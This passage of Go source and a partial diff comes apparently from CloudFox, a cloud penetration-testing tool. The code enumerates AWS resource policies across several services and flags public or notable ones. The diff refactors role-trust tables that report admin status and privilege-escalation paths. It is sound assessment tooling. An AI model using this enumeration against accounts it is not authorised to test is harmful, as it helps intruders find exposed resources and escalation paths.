}
fmt.Printf("[%s][%s] Enumerating Resources with resource policies for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Supported Services: CodeBuild, ECR, EFS, Lambda, S3, SNS, SQS\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan Resource2)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Add(1)
go m.getS3Buckets(wg, semaphore, dataReceiver)
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
//"Account ID",
"ARN",
"Public",
"Interesting",
"Resource Policy Summary",
}
// sort the table roles by Interesting
sort.Slice(m.Resources2, func(i, j int) bool {
return m.Resources2[j].Interesting > m.Resources2[i].Interesting
})
// Table rows
for i := range m.Resources2 {
m.output.Body = append(
m.output.Body,
[]string{
//m.Resources2[i].AccountID,
m.Resources2[i].ARN,
m.Resources2[i].Public,
m.Resources2[i].Interesting,
m.Resources2[i].ResourcePolicySummary,
},
)
}
if len(m.output.Body) > 0 {
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s resource policies found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
//fmt.Printf("[%s][%s] Resource policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
} else {
fmt.Printf("[%s][%s] No resource policies found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("sns", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("sqs", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getSQSQueuesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("ecr", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getECRRecordsPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("codebuild", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getCodeBuildResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("lambda", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getLambdaPolicyPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("efs", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getEFSfilesystemPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *ResourceTrustsModule) Receiver(receiver chan Resource2, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Resources2 = append(m.Resources2, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxSNSClient := InitCloudFoxSNSClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines, m.WrapTable)
ListTopics, err := cloudFoxSNSClient.listTopics(r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, t := range ListTopics {
var statementSummaryInEnglish string
var isInteresting string = "No"
topic, err := cloudFoxSNSClient.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
continue
}
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
if err != nil {
topic.Name = aws.ToString(t.TopicArn)
}
topic.Name = parsedArn.Resource
topic.Region = parsedArn.Region
// check if topic is public or not
if topic.Policy.IsPublic() {
topic.IsPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
topic.IsPublic = "No"
}
// If there is a resouce policy, convert the resource policy into plain english
if !topic.Policy.IsEmpty() {
for i, statement := range topic.Policy.Statement {
var prefix string = ""
if len(topic.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = statementSummaryInEnglish + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(t.TopicArn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: topic.IsPublic,
Region: parsedArn.Region,
Name: topic.Name,
Interesting: isInteresting,
}
}
}
}
func (m *ResourceTrustsModule) getS3Buckets(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxS3Client := initCloudFoxS3Client(m.Caller, m.AWSProfile, m.CloudFoxVersion)
ListBuckets, err := sdk.CachedListBuckets(cloudFoxS3Client.S3Client, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, b := range ListBuckets {
var statementSummaryInEnglish string
var isInteresting string = "No"
bucket := &Bucket{
Arn: fmt.Sprintf("arn:aws:s3:::%s", aws.ToString(b.Name)),
}
name := aws.ToString(b.Name)
region, err := sdk.CachedGetBucketLocation(cloudFoxS3Client.S3Client, aws.ToString(m.Caller.Account), name)
if err != nil {
m.modLog.Error(err.Error())
continue
}
policyJSON, err := sdk.CachedGetBucketPolicy(cloudFoxS3Client.S3Client, aws.ToString(m.Caller.Account), region, aws.ToString(b.Name))
if err != nil {
m.modLog.Error(err.Error())
continue
} else {
bucket.PolicyJSON = policyJSON
}
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
m.modLog.Error(fmt.Sprintf("parsing bucket access policy (%s) as JSON: %s", name, err))
} else {
bucket.Policy = policy
}
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
if policy.IsPublic() {
bucket.IsPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
bucket.IsPublic = "No"
}
// If there is a resouce policy, convert the resource policy into plain english
if !bucket.Policy.IsEmpty() {
for i, statement := range bucket.Policy.Statement {
var prefix string = ""
if len(bucket.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = statementSummaryInEnglish + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: bucket.Arn,
ResourcePolicySummary: statementSummaryInEnglish,
Public: bucket.IsPublic,
Region: region,
Name: name,
Interesting: isInteresting,
}
}
}
}
func (m *ResourceTrustsModule) getSQSQueuesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxSQSClient := InitSQSClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
ListQueues, err := cloudFoxSQSClient.listQueues(r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, q := range ListQueues {
var statementSummaryInEnglish string
var isInteresting string = "No"
var isPublic string = "No"
queue, err := cloudFoxSQSClient.getQueueWithAttributes(q, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
continue
}
if !queue.Policy.IsEmpty() {
if queue.Policy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
}
for i, statement := range queue.Policy.Statement {
prefix := ""
if len(queue.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(&queue.Arn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: q,
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func (m *ResourceTrustsModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxECRClient := InitECRClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
DescribeRepositories, err := cloudFoxECRClient.describeRepositories(r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, repo := range DescribeRepositories {
var isPublic string
var statementSummaryInEnglish string
var isInteresting string = "No"
repoPolicy, err := cloudFoxECRClient.getECRRepositoryPolicy(r, aws.ToString(repo.RepositoryName))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
continue
}
if !repoPolicy.IsEmpty() {
if repoPolicy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
isPublic = "No"
}
for i, statement := range repoPolicy.Statement {
prefix := ""
if len(repoPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(repo.RepositoryArn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(repo.RepositoryName),
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func (m *ResourceTrustsModule) getCodeBuildResourcePoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxCodeBuildClient := InitCodeBuildClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
ListProjects, err := sdk.CachedCodeBuildListProjects(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, p := range ListProjects {
var projectPolicy policy.Policy
var statementSummaryInEnglish string
var isPublic string
var isInteresting string = "No"
project, err := sdk.CachedCodeBuildBatchGetProjects(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r, p)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
continue
}
policyJSON, err := sdk.CachedCodeBuildGetResourcePolicy(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r, p)
if err != nil {
sharedLogger.Error(err.Error())
continue
}
projectPolicy, err = policy.ParseJSONPolicy([]byte(policyJSON))
if !projectPolicy.IsEmpty() {
if projectPolicy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
isPublic = "No"
}
for i, statement := range projectPolicy.Statement {
prefix := ""
if len(projectPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(project.Arn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(project.Name),
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func (m *ResourceTrustsModule) getLambdaPolicyPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxLambdaClient := InitLambdaClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
ListFunctions, err := cloudFoxLambdaClient.listFunctions(r)
if err != nil {
sharedLogger.Error(err.Error())
return
}
for _, f := range ListFunctions {
var isPublic string
var statementSummaryInEnglish string
var isInteresting string = "No"
functionPolicy, err := cloudFoxLambdaClient.getResourcePolicy(r, aws.ToString(f.FunctionName))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
continue
}
if !functionPolicy.IsEmpty() {
if functionPolicy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
isPublic = "No"
}
for i, statement := range functionPolicy.Statement {
prefix := ""
if len(functionPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(f.FunctionArn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(f.FunctionName),
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func (m *ResourceTrustsModule) getEFSfilesystemPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxEFSClient := InitFileSystemsClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
ListFileSystems, err := sdk.CachedDescribeFileSystems(cloudFoxEFSClient.EFSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
return
}
for _, fs := range ListFileSystems {
var isPublic string
var statementSummaryInEnglish string
var isInteresting string = "No"
fsPolicy, err := sdk.CachedDescribeFileSystemPolicy(cloudFoxEFSClient.EFSClient, aws.ToString(fs.FileSystemId), r, aws.ToString(m.Caller.Account))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
continue
}
if fsPolicy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
isPublic = "No"
}
if !fsPolicy.IsEmpty() {
for i, statement := range fsPolicy.Statement {
prefix := ""
if len(fsPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(fs.FileSystemArn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(fs.Name),
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func isResourcePolicyInteresting(statementSummaryInEnglish string) bool {
// check if the statement has any of the following items, but make sure the check is case insensitive
// if it does, then return true
// if it doesn't, then return false
if //(strings.Contains(strings.ToLower(statementSummaryInEnglish), "*") && !strings.Contains(strings.ToLower(statementSummaryInEnglish), "denied")) ||
(strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("Everyone")) && !strings.Contains(strings.ToLower(statementSummaryInEnglish), "denied")) ||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:PrincipalOrgID")) ||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:PrincipalAccount")) ||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:PrincipalOrgPaths")) ||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("role")) ||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("root")) ||
(strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:arn")) && !strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("SourceArn"))) ||
(strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:arn")) && !strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("SourceAccount"))) {
return true
}
return false
}
+211 -113
View File
@@ -1,7 +1,6 @@
package aws
import (
"context"
"encoding/json"
"errors"
"fmt"
@@ -12,6 +11,7 @@ import (
"strconv"
"strings"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
@@ -22,8 +22,7 @@ import (
type RoleTrustsModule struct {
// General configuration data
IAMClientListRoles iam.ListRolesAPIClient
IAMClient *iam.Client
IAMClient sdk.AWSIAMClientInterface
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
Caller sts.GetCallerIdentityOutput
@@ -99,15 +98,14 @@ func (m *RoleTrustsModule) PrintRoleTrusts(outputFormat string, outputDirectory
}
localAdminMap := make(map[string]bool)
fmt.Printf("[%s][%s] Enumerating role trusts for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
//fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
if m.pmapperError != nil {
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
} else {
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
// if m.pmapperError != nil {
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// } else {
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
m.getAllRoleTrusts()
if m.pmapperError == nil {
@@ -120,134 +118,253 @@ func (m *RoleTrustsModule) PrintRoleTrusts(outputFormat string, outputDirectory
}
}
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
principalsHeader, principalsBody := m.printPrincipalTrusts(outputFormat, outputDirectory)
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: principalsHeader,
Body: principalsBody,
Name: "role-trusts-principals",
})
servicesHeader, servicesBody := m.printServiceTrusts(outputFormat, outputDirectory)
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: servicesHeader,
Body: servicesBody,
Name: "role-trusts-services",
})
federatedHeader, federatedBody := m.printFederatedTrusts(outputFormat, outputDirectory)
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: federatedHeader,
Body: federatedBody,
Name: "role-trusts-federated",
})
o.WriteFullOutput(o.Table.TableFiles, nil)
if len(principalsBody) > 0 {
fmt.Printf("[%s][%s] %s principal role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(principalsBody)))
} else {
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
if len(servicesBody) > 0 {
fmt.Printf("[%s][%s] %s principal role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(servicesBody)))
} else {
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
if len(federatedBody) > 0 {
fmt.Printf("[%s][%s] %s principal role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(federatedBody)))
} else {
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
m.printPrincipalTrusts(outputFormat, outputDirectory)
m.printServiceTrusts(outputFormat, outputDirectory)
m.printFederatedTrusts(outputFormat, outputDirectory)
}
func (m *RoleTrustsModule) printPrincipalTrusts(outputFormat string, outputDirectory string) {
func (m *RoleTrustsModule) printPrincipalTrusts(outputFormat string, outputDirectory string) ([]string, [][]string) {
var header []string
var body [][]string
m.output.FullFilename = ""
m.output.Body = nil
m.output.CallingModule = "role-trusts"
m.output.FullFilename = "role-trusts-principals"
m.output.Headers = []string{
"Role",
"Trusted Principal",
"ExternalID",
"IsAdmin?",
"CanPrivEscToAdmin?",
var column1 string
if m.pmapperError == nil {
header = []string{
"Role",
"Trusted Principal",
"ExternalID",
"IsAdmin?",
"CanPrivEscToAdmin?",
}
} else {
header = []string{
"Role",
"Trusted Principal",
"ExternalID",
"IsAdmin?",
//"CanPrivEscToAdmin?",
}
}
for _, role := range m.AnalyzedRoles {
for _, statement := range role.trustsDoc.Statement {
for _, principal := range statement.Principal.AWS {
column1 := aws.ToString(role.roleARN)
if outputFormat == "wide" {
column1 = aws.ToString(role.roleARN)
} else {
column1 = GetResourceNameFromArn(aws.ToString(role.roleARN))
}
column2 := principal
column3 := statement.Condition.StringEquals.StsExternalID
column4 := role.Admin
column5 := role.CanPrivEsc
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
if m.pmapperError == nil {
body = append(body, []string{column1, column2, column3, column4, column5})
} else {
body = append(body, []string{column1, column2, column3, column4})
}
}
}
}
m.sortTrustsTablePerTrustedPrincipal()
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
////m.output.OutputSelector(outputFormat)
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
return header, body
// if len(m.output.Body) > 0 {
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
// ////m.output.OutputSelector(outputFormat)
// //utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
// //internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
// fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
// } else {
// fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
// fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *RoleTrustsModule) printServiceTrusts(outputFormat string, outputDirectory string) {
func (m *RoleTrustsModule) printServiceTrusts(outputFormat string, outputDirectory string) ([]string, [][]string) {
var header []string
var body [][]string
m.output.FullFilename = ""
m.output.Body = nil
m.output.CallingModule = "role-trusts"
m.output.FullFilename = "role-trusts-services"
m.output.Headers = []string{
"Role",
"Trusted Service",
"ExternalID",
"IsAdmin?",
"CanPrivEscToAdmin?",
var column1 string
if m.pmapperError == nil {
header = []string{
"Role",
"Trusted Service",
"ExternalID",
"IsAdmin?",
"CanPrivEscToAdmin?",
}
} else {
header = []string{
"Role",
"Trusted Service",
"ExternalID",
"IsAdmin?",
//"CanPrivEscToAdmin?",
}
}
for _, role := range m.AnalyzedRoles {
for _, statement := range role.trustsDoc.Statement {
for _, service := range statement.Principal.Service {
column1 := aws.ToString(role.roleARN)
if outputFormat == "wide" {
column1 = aws.ToString(role.roleARN)
} else {
column1 = GetResourceNameFromArn(aws.ToString(role.roleARN))
}
column2 := service
column3 := statement.Condition.StringEquals.StsExternalID
column4 := role.Admin
column5 := role.CanPrivEsc
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
if m.pmapperError == nil {
body = append(body, []string{column1, column2, column3, column4, column5})
} else {
body = append(body, []string{column1, column2, column3, column4})
}
}
}
}
m.sortTrustsTablePerTrustedPrincipal()
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
